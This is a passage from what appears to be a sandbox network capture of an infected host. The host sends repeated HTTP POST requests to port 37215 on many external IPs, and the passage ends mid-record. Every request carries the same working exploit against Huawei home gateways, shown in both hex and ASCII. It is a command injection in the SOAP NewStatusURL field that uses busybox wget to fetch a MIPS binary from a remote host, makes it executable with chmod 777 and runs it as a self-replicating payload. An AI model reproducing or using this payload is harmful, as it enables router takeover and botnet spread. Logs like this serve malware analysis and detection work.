3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.14	60540	164.63.63.103	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606690884 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.14	55514	157.247.173.232	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606723070 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.14	42652	92.28.110.8	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606751919 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.14	52344	136.209.131.27	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606802940 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.14	33716	197.251.68.85	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606805086 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.14	36864	60.255.178.57	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606838942 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.14	38800	197.52.238.43	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606898069 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.14	59860	197.37.11.189	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606903076 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.14	59278	197.171.29.163	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606911898 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.14	45976	41.205.131.121	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606945992 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.14	33474	157.10.149.35	37215

Timestamp	Bytes transferred	Direction	Data
